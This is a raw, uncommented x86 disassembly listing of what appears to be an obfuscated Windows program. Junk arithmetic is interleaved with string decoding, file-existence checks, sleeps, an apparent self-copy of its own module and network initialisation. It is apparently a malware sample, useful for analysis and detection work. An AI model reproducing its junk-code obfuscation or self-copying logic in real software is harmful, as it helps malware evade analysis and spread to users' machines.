mov eax, dword [0x449284]
mov ecx, dword [0x44d1b4]
shl ecx, 9
or ecx, eax
cmp ecx, 0x5ee61823
je 0x41ab00
inc dword [0x44bc70]
jmp 0x41ab00
mov eax, 0x6d5b3050
and eax, dword [0x447cb4]
or dword [0x4523bc], eax
mov dword [0x458c00], esi
xor dword [0x4558ec], 0xa4d8dcf3
imul eax, dword [0x44a570], 0x2f11b92
mov dword [0x44a570], eax
push 0x1c
call sub.msvcrt.dll_malloc
add esp, 4
mov esi, eax
mov eax, dword [0x44d7c4]
dec eax
mov dword [0x44d7c4], eax
imul eax, dword [0x454c60]
mov dword [0x454c60], eax
mov ecx, esi
call fcn.00416122
mov dword [0x458394], esi
add dword [0x44f588], 0xcbfebf7d
mov dword [0x458548], 0
mov eax, 0xfadf2300
and eax, dword [0x45671c]
xor dword [0x457c58], eax
mov dword [0x45854c], 0x708
imul eax, dword [0x455100], 0x8edb924f
mov dword [0x455100], eax
mov eax, dword [0x458bf8]
cmp byte [eax], 0
jne 0x41acb1
mov eax, dword [0x451cd4]
mov ecx, 0x4073b4d6
sub ecx, eax
or ecx, 0x9cc4
movzx eax, word [0x4462b2]
and eax, ecx
mov word [0x4462b2], ax
call dword [0x43f100]
push 0x24
push dword [0x458bf8]
push eax
call sub.msvcrt.dll__itoa_1
add esp, 0xc
movsx eax, word [0x441bc2]
mov ecx, dword [0x44cdb8]
lea edx, [ecx - 1]
mov dword [0x44cdb8], edx
add ecx, 0xc8f35d5b
and ecx, eax
imul ecx, dword [0x44d278]
mov dword [0x44d278], ecx
push 2
push 0x2f53
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x456458]
sar eax, 3
add eax, 0x79271a63
or eax, 0x1cc1eda6
mov ecx, 0xaddbd0d3
add ecx, dword [0x44e4f0]
and ecx, 0x9ee34bfb
cmp eax, ecx
jge 0x41ac47
mov eax, 0x81d4065e
xor eax, dword [0x44d81c]
or dword [0x44b910], eax
push esi
push dword [0x458bf8]
call sub.msvcrt.dll_strcat
add esp, 8
imul eax, dword [0x45745c], 0x54801042
mov dword [0x45745c], eax
push esi
push 2
call fcn.0040d60f
add esp, 8
mov eax, dword [0x454e00]
not eax
imul eax, eax, 0x85ea0e7e
movzx ecx, word [0x43f46e]
add ecx, eax
mov word [0x43f46e], cx
mov dword [0x458bb0], 1
mov eax, dword [0x451ee0]
or eax, 0x9522
movzx ecx, word [0x444928]
xor ecx, eax
mov word [0x444928], cx
mov dword [0x451dd4], 0xfe588cc7
call fcn.0040f1f5
and dword [0x4565fc], 0x7509c2e
call dword [0x43f14c]
mov ecx, dword [0x44fd20]
movsx edx, word [0x441184]
lea esi, [edx - 1]
mov word [0x441184], si
xor ecx, edx
not ecx
sub dword [0x44edb8], ecx
lea ebx, [esp + 0x4d4]
push eax
push ebx
call sub.msvcrt.dll_strcpy
add esp, 8
mov eax, dword [0x44e68c]
inc eax
mov dword [0x44e68c], eax
movzx ecx, word [0x443402]
and ecx, eax
mov word [0x443402], cx
add word [0x444dc4], 0x708d
push 0x1f
push 0x3595
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x456820]
xor eax, 0x999d145e
mov ecx, dword [0x455a04]
lea edx, [ecx + 1]
mov dword [0x455a04], edx
imul ecx, ecx, 0xd16ef813
cmp eax, ecx
jne 0x41ad6e
movsx eax, word [0x445db4]
add eax, 0xa287b58c
or dword [0x44f138], eax
jmp 0x41ad78
mov dword [0x4526dc], 0x1c0ce81
push edi
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
mov esi, eax
mov eax, dword [0x4497ec]
shl eax, 6
add eax, 0xdee94da8
cmp eax, 0xab51813a
jl 0x41adb2
mov eax, dword [0x45077c]
add eax, 0x656a
movzx ecx, word [0x4409f8]
xor ecx, eax
mov word [0x4409f8], cx
push edi
push 0x1f
call fcn.0040d60f
add esp, 8
mov dword [0x456974], 0x7fa5f3d4
test esi, esi
je 0x41b2ef
mov eax, dword [0x44b440]
dec eax
mov dword [0x44b440], eax
movzx ecx, word [0x445c66]
and ecx, eax
mov word [0x445c66], cx
movzx eax, word [0x441dca]
inc eax
mov word [0x441dca], ax
or eax, 0x93aa
and word [0x44218c], ax
push 2
push 0x7d1
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4561a8]
movzx ecx, word [0x445d14]
xor ecx, eax
mov word [0x445d14], cx
add esi, 0xc
push edi
push esi
call sub.msvcrt.dll_strstr
add esp, 8
mov esi, eax
mov eax, dword [0x450ac0]
lea ecx, [eax - 1]
mov dword [0x450ac0], ecx
add eax, 0x72306a9f
and eax, 0x669670b8
xor dword [0x4580fc], eax
push edi
push 2
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44e974]
sar eax, 1
movsx ecx, word [0x43f3f2]
sub eax, ecx
cmp eax, 0x49dc59eb
jg 0x41ae88
imul ax, word [0x44416a], 0xd2c3
mov word [0x44416a], ax
test esi, esi
je 0x41bf58
movsx eax, word [0x4471c6]
shl eax, 6
and eax, 0x396e7d00
or dword [0x448580], eax
inc esi
mov eax, dword [0x455c44]
cmp eax, 0xe1af14ff
jne 0x41aec9
mov eax, dword [0x44bd50]
inc eax
mov dword [0x44bd50], eax
imul eax, eax, 0x11a66b4f
and dword [0x44b7f0], eax
push 2
push 0x7d1
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x449d1c]
shl eax, 2
and dword [0x44e2bc], eax
push edi
push esi
call sub.msvcrt.dll_strstr
add esp, 8
mov ebx, eax
mov eax, dword [0x448358]
mov ecx, dword [0x448d10]
not ecx
imul ecx, eax
cmp ecx, 0x7cb2b8e2
jl 0x41af15
xor word [0x445f08], 0xf5c0
push edi
push 2
call fcn.0040d60f
add esp, 8
add dword [0x452804], 0x6de9dfaf
test ebx, ebx
je 0x41bf66
mov dword [0x452048], 0xe5fff9bf
mov byte [ebx], 0
mov eax, dword [0x456218]
inc eax
mov dword [0x456218], eax
mov dword [0x456bc8], eax
lea ebx, [esp + 0x1d4]
push ebx
call fcn.00410a8b
add esp, 4
mov eax, dword [0x448710]
lea ecx, [eax + 1]
mov dword [0x448710], ecx
add eax, 0xa2eaf2d7
and dword [0x44ba98], eax
push 0x1f
push 0x2c15
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44d974]
mov ecx, dword [0x44fcc4]
lea edx, [ecx - 1]
mov dword [0x44fcc4], edx
and eax, ecx
cmp eax, 0xce4e2ed7
je 0x41afb0
and dword [0x44ac6c], 0x55ccfa9e
mov dword [esp], esi
push edi
push ebx
call sub.msvcrt.dll_strcat
add esp, 8
imul eax, dword [0x454788], 0x6334b0e7
mov dword [0x454788], eax
push edi
push 0x1f
call fcn.0040d60f
add esp, 8
add word [0x444b72], 0x1586
mov eax, 0x36882939
add eax, dword [0x449c08]
xor eax, 0x22e53e0b
cmp eax, 0x7f251b8
jg 0x41b010
mov eax, dword [0x44e770]
shr eax, 7
imul eax, eax, 0x595e9633
and eax, 0x1a8c1be
or dword [0x44a954], eax
mov dword [0x45854c], 0x708
movsx eax, word [0x444ae8]
imul eax, eax, 0x5fa68434
xor eax, 0xc7170cf2
mov dword [0x44b9d8], eax
add dword [0x44cb60], 0xc9e49835
or dword [0x450100], 0xae3fa993
mov ebp, 0x904a355b
mov esi, 0xc524673
lea edi, [esp + 0x20]
jmp 0x41b079
add dword [0x448634], 0x4d8d1957
push 0x3e8
call dword [0x43f198]
imul eax, dword [0x448db8], 0xefb414eb
mov dword [0x448db8], eax
movsx eax, word [0x44185e]
add eax, 0x6aaa104
or eax, 0xf4d0217
sub dword [0x452a98], eax
push dword [0x458bdc]
call fcn.0042a6d4
add esp, 4
test eax, eax
je 0x41b126
push edi
push ebx
call dword [sym.imp.msvcrt.dll__stat]
add esp, 8
test eax, eax
je 0x41b153
mov word [0x443f7e], 0x3148
push 0xd05
call dword [0x43f198]
mov eax, dword [0x452bdc]
imul eax, eax, 0x8289c19f
movzx ecx, word [0x444576]
lea eax, [eax + ecx + 0x1c4b]
mov word [0x444576], ax
push edi
push ebx
call dword [sym.imp.msvcrt.dll__stat]
add esp, 8
test eax, eax
je 0x41b103
mov dword [esp + 0x3c], 0
mov eax, dword [0x452ea0]
lea ecx, [eax + 1]
mov dword [0x452ea0], ecx
mov ecx, 0x93c8fda5
sub ecx, eax
xor ecx, 0x23b10040
add dword [0x450198], ecx
jmp 0x41b153
mov eax, dword [0x44b9e8]
and eax, ebp
mov ecx, dword [0x44b434]
add ecx, esi
cmp eax, ecx
jne 0x41b142
add word [0x43fad4], 0xc65c
mov dword [esp + 0x3c], 0
and word [0x440064], 0x787e
movsx eax, word [0x44701e]
sar eax, 4
imul eax, eax, 0x63f37c49
add dword [0x456bec], eax
push 0
call sub.msvcrt.dll_time
add esp, 4
mov ecx, 0x1a41bcf6
sub ecx, dword [0x455f8c]
add dword [0x453908], ecx
mov ecx, dword [esp + 0x3c]
cmp eax, ecx
lea ecx, [ecx + 0x76c]
cmovge ecx, eax
or word [0x446c06], 0x321d
sub ecx, dword [esp + 0x3c]
cmp ecx, 0x763
jl 0x41b055
mov eax, 0x7e1b
and eax, dword [0x45277c]
movzx ecx, word [0x444792]
imul ecx, eax
mov word [0x444792], cx
xor esi, esi
add dword [0x44a198], 0x13745678
push dword [0x458bdc]
call fcn.0042a6d4
add esp, 4
test eax, eax
je 0x41b295
add word [0x4467a4], 0x7318
push dword [0x458bdc]
call fcn.00415df3
add esp, 4
mov eax, dword [0x452744]
sar eax, 6
xor eax, 0xbe80c81a
cmp eax, 0x1811305
jl 0x41b24d
mov eax, dword [0x44af50]
sar eax, 0xa
imul eax, eax, 0x649f3b3b
and eax, 0xf28e110c
imul ecx, dword [0x454cc4], 0x6174147f
cmp eax, ecx
jne 0x41b276
imul eax, dword [0x44f6b0], 0xeb8560c8
xor eax, 0x4fc6f63b
add dword [0x44a43c], eax
jmp 0x41b276
mov eax, dword [0x449ba0]
lea ecx, [eax - 1]
mov dword [0x449ba0], ecx
add eax, 0x230fbccd
xor eax, 0x9d2
movzx ecx, word [0x4407a6]
imul ecx, eax
mov word [0x4407a6], cx
push 0x7d0
call dword [0x43f198]
mov dword [0x44af30], 0x573bed07
inc esi
cmp esi, 0xa
jl 0x41b1ca
imul eax, dword [0x456780], 0x40ecc3a
mov dword [0x456780], eax
push edi
mov esi, dword [esp + 4]
push esi
call dword [sym.imp.msvcrt.dll__stat]
add esp, 8
or dword [0x4484c4], 0xfc36776e
mov ecx, dword [esp + 0x34]
mov edx, dword [0x44e1c4]
inc edx
mov dword [0x44e1c4], edx
cmp edx, 0xaa0fa16
jne 0x41b3e7
imul edx, dword [0x45174c], 0x589c8fb0
mov dword [0x45174c], edx
jmp 0x41b3f0
mov eax, dword [0x451e38]
cmp eax, 0xcaec4913
jg 0x41b319
movzx eax, word [0x4429b8]
mov ecx, dword [0x45769c]
or ecx, eax
movzx eax, word [0x443b3c]
or eax, ecx
mov word [0x443b3c], ax
call dword [0x43f14c]
push eax
call fcn.0042d199
add esp, 4
xor dword [0x44ebe4], 0xa6880fea
push eax
push ebx
call sub.msvcrt.dll_strcpy
add esp, 8
movsx eax, word [0x443956]
lea ecx, [eax - 1]
mov word [0x443956], cx
mov ecx, dword [0x4571b8]
lea edx, [ecx + 1]
mov dword [0x4571b8], edx
lea eax, [ecx + eax + 1]
and eax, 0x80665711
cmp eax, 0xcf942c12
jg 0x41b37d
mov eax, 0xc8b88ee9
sub eax, dword [0x45627c]
xor dword [0x44d4e8], eax
movsx eax, word [0x4454a8]
shl eax, 9
add eax, 0x6972e5b
cmp eax, 0x10ca71ee
jg 0x41b39c
xor word [0x446fd8], 0x9385
mov byte [esp + 0x4d4], 0
imul eax, dword [0x44ab54], 0xe6295bc7
mov dword [0x44ab54], eax
push 0x200
push ebx
push 0
call dword [0x43f13c]
mov eax, dword [0x45588c]
mov eax, dword [0x44ed20]
inc eax
mov dword [0x44ed20], eax
mov ecx, 0x1761432d
xor ecx, dword [0x44c780]
cmp eax, ecx
jge 0x41b451
mov eax, dword [0x447b1c]
jmp 0x41b45b
add word [0x44237a], 0x8537
test eax, eax
jne 0x41b3fe
cmp ecx, dword [esp + 4]
je 0x41b7c5
mov eax, dword [0x448794]
inc eax
mov dword [0x448794], eax
sub dword [0x456a48], eax
push 0x200
push ebx
push 0
call dword [0x43f13c]
mov eax, dword [0x44e9a0]
dec eax
mov dword [0x44e9a0], eax
imul eax, eax, 0x5af8ad
xor eax, 0x9c0962c0
movsx ecx, word [0x4457a2]
cmp eax, ecx
jge 0x41b573
add dword [0x44c6e8], 0xb9fce398
jmp 0x41b587
or dword [0x44a684], 0xc518002
push ebx
call sub.msvcrt.dll__strlwr
add esp, 4
mov eax, dword [0x4574c8]
lea ecx, [eax - 1]
mov dword [0x4574c8], ecx
cmp eax, 0x26000444
jl 0x41b488
imul eax, dword [0x44a0f4], 0xf9bdb9ff
mov dword [0x44a0f4], eax
xor dword [0x4528c0], 0xbe497103
lea edi, [esp + 0x20]
push dword [0x458be0]
push edi
call sub.msvcrt.dll_strcpy
add esp, 8
mov ax, word [0x444dee]
lea esi, [esp + 0xa]
push dword [0x458be8]
push esi
call sub.msvcrt.dll_strcpy
add esp, 8
mov eax, dword [0x455e50]
dec eax
mov dword [0x455e50], eax
xor eax, 0x8767ce97
mov dword [0x447cf8], eax
push edi
call sub.msvcrt.dll__strlwr
add esp, 4
mov word [0x442606], 0x7fad
push esi
call sub.msvcrt.dll__strlwr
add esp, 4
add dword [0x457424], 0xfad28eba
cmp dword [0x458bc4], 0
jne 0x41b8ae
push dword [0x458bdc]
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
jne 0x41b8ae
imul ax, word [0x445564], 0xc03e
mov word [0x445564], ax
push edi
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
jne 0x41b8a5
mov eax, dword [0x44d824]
lea ecx, [eax + 1]
mov dword [0x44d824], ecx
mov ecx, 0xa057ceef
sub ecx, dword [0x45248c]
and ecx, eax
cmp ecx, 0xd08efd6
jne 0x41b833
or dword [0x456f80], 0x77fdbaf4
jmp 0x41b85b
mov eax, dword [0x44d674]
shl eax, 8
add eax, dword [0x451434]
or dword [0x44cbe0], eax
push pe_nt_image_headers32
push esi
call dword [0x43f110]
mov eax, dword [0x4479d0]
movzx ecx, word [0x44281a]
lea eax, [eax + ecx + 0x606]
mov word [0x44281a], ax
push 0
push esi
push ebx
call dword [0x43f0fc]
add dword [0x44d240], 0xe00400
movsx eax, word [0x4424f0]
sar eax, 7
mov ecx, dword [0x44a708]
dec ecx
mov dword [0x44a708], ecx
and ecx, eax
sub dword [0x44ba3c], ecx
push 0xa
push 0x64
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x448860]
shl eax, 8
xor eax, 0x6ae1b54c
cmp eax, 0xa0000248
jl 0x41b617
mov eax, dword [0x44e4c0]
shr eax, 9
and eax, 0x47c0
movzx ecx, word [0x4400c4]
or ecx, eax
mov word [0x4400c4], cx
push 0
push esi
call fcn.0042a946
add esp, 8
mov eax, dword [0x451a40]
dec eax
mov dword [0x451a40], eax
and eax, 0xa49983fd
mov ecx, dword [0x453c58]
shl ecx, 9
mov edx, dword [0x450224]
inc edx
mov dword [0x450224], edx
imul edx, edx, 0x3e052e95
add edx, ecx
cmp eax, edx
jne 0x41b829
push 0
call sub.msvcrt.dll_exit
add esp, 4
mov eax, dword [0x450814]
mov ecx, dword [0x453dc4]
lea edx, [ecx - 1]
mov dword [0x453dc4], edx
imul eax, ecx
cmp eax, 0xdbf7f24
jne 0x41b85b
add dword [0x4558d8], 0x2b222400
push esi
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
je 0x41c1c8
mov eax, dword [0x44b9c8]
lea ecx, [eax + 1]
mov dword [0x44b9c8], ecx
movzx ecx, word [0x44220c]
dec ecx
movsx ecx, cx
xor eax, ecx
mov word [0x44220c], cx
xor eax, 0x937b25e5
cmp eax, 0xf39dec72
jl 0x41b8a5
add dword [0x452aac], 0x3f4a109a
and word [0x43f6a2], 0x76a0
xor word [0x44343c], 0x7011
sub esp, 4
call fcn.0042d4c2
add esp, 4
cmp eax, 2
jge 0x41bf75
add dword [0x44c7ac], 0x4040140
call fcn.0042d67b
mov eax, 0xf4377a06
or eax, dword [0x44916c]
add dword [0x449ef0], eax
push 0
call sub.msvcrt.dll_time
add esp, 4
mov dword [0x458bcc], eax
mov eax, 0xffd39c5e
add eax, dword [0x44dbec]
and eax, 0xdefa50dd
imul eax, dword [0x451b90]
mov dword [0x451b90], eax
lea ebp, [esp + 0x1d4]
push ebp
call fcn.00425655
add esp, 4
or word [0x44139a], 0x15d9
push ebp
push 0x458688
call sub.msvcrt.dll_strcpy
add esp, 8
movsx eax, word [0x444476]
mov ecx, 0x2ddc8ca2
sub ecx, eax
xor dword [0x44a138], ecx
push dword [0x458bf4]
push 0x458688
call sub.msvcrt.dll_strcat
add esp, 8
xor dword [0x44cc34], 0xab529a1a
push dword [0x458bdc]
push ebp
call sub.msvcrt.dll_strcat
add esp, 8
mov eax, dword [0x451c48]
inc eax
mov dword [0x451c48], eax
mov ecx, dword [0x44ab5c]
sar ecx, 6
imul ecx, eax
cmp ecx, 0x66f3823b
jl 0x41b9a5
mov word [0x4437d8], 0x526e
lea eax, [esp + 0x44]
push eax
push 0x202
call dword [0x43f048]
mov ecx, dword [0x44fd2c]
test eax, eax
jne 0x41bf8d
mov eax, dword [0x457ab8]
not eax
imul eax, eax, 0xeb025931
add dword [0x449448], eax
push dword [0x458bdc]
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
jne 0x41ba70
mov dword [0x448b24], 0x96cf07d9
call fcn.0042e2de
test eax, eax
je 0x41c1b2
mov eax, dword [0x44b8ec]
imul eax, dword [0x453128]
mov dword [0x453128], eax
push dword [0x458bdc]
push ebx
call sub.msvcrt.dll_strstr
add esp, 8
test eax, eax
je 0x41bfc9
xor word [0x446624], 0x692
jmp 0x41b829
and dword [0x454044], 0xb1aa5e41
jmp 0x41b829
mov eax, dword [0x4572f4]
shl eax, 4
xor eax, 0xcedbf378
add dword [0x455168], eax
jmp 0x41b829
imul eax, dword [0x44b294], 0xfd9eac09
add eax, 0x6ac56dac
xor dword [0x44ab5c], eax
push 0xb
push 0x2d32
call fcn.004103ea
add esp, 8
movsx eax, word [0x4436de]
and dword [0x451bb8], eax
sub esp, 4
call fcn.0042e27d
add esp, 4
xor dword [0x451344], 0x677a8d14
push dword [0x458ba4]
call dword [0x43f194]
mov eax, dword [0x449554]
sar eax, 2
imul eax, eax, 0x2058ddcf
cmp eax, 0xa3100a
jg 0x41c000
add dword [0x4498d0], 0xfc0dadf8
jmp 0x41c016
mov eax, dword [0x449334]
cmp eax, 0xf1678bc5
jl 0x41c016
xor word [0x446a56], 0x4cae
mov eax, dword [esp + 4]
push eax
push ebx
call fcn.0042d417
add esp, 8
add dword [0x4561c8], 0xe1042bbe
call fcn.004113eb
mov eax, dword [0x44aa84]
not eax
and eax, 0xf16fdd3e
cmp eax, 0x4d6d4df3
jg 0x41c20d
add dword [0x453bf4], 0x545b6803
jmp 0x41c22d
mov eax, dword [0x456d04]
dec eax
mov dword [0x456d04], eax
xor eax, 0x9e7d
movzx ecx, word [0x440072]
sub ecx, eax
mov word [0x440072], cx
cmp dword [0x4583a4], 0
jne 0x41c245
add dword [0x4508a4], 0x28fa9636
jmp 0x41b829
mov eax, dword [0x456a0c]
lea ecx, [eax - 1]
mov dword [0x456a0c], ecx
add dword [0x44aab0], eax
mov eax, dword [0x44a268]
cmp eax, 0x5f136ab9
jg 0x41c270
mov eax, dword [0x453f2c]
xor dword [0x448908], eax
push 0x202
push 0x2068
call fcn.004103ea
add esp, 8
mov esi, eax
or dword [0x457274], 0x15b19064
lea edi, [esi + 4]
push edi
call sub.msvcrt.dll_strlen
add esp, 4
add word [0x444a80], 0x35e0
or word [0x440c4c], 0x946d
lea eax, [eax + esi + 5]
push dword [esi]
push eax
push edi
push 0
call dword [0x43f224]
mov eax, dword [0x455da4]
dec eax
mov dword [0x455da4], eax
or eax, 0x4ff6
movzx ecx, word [0x43fc28]
sub ecx, eax
mov word [0x43fc28], cx
push esi
push 0x202
call fcn.0040d60f
add esp, 8
movsx eax, word [0x4443fa]
lea ecx, [eax - 1]
mov word [0x4443fa], cx
add eax, 0x2e4ee7c9
and eax, 0xa1b9e020
mov dword [0x44e6f0], eax
jmp 0x41b829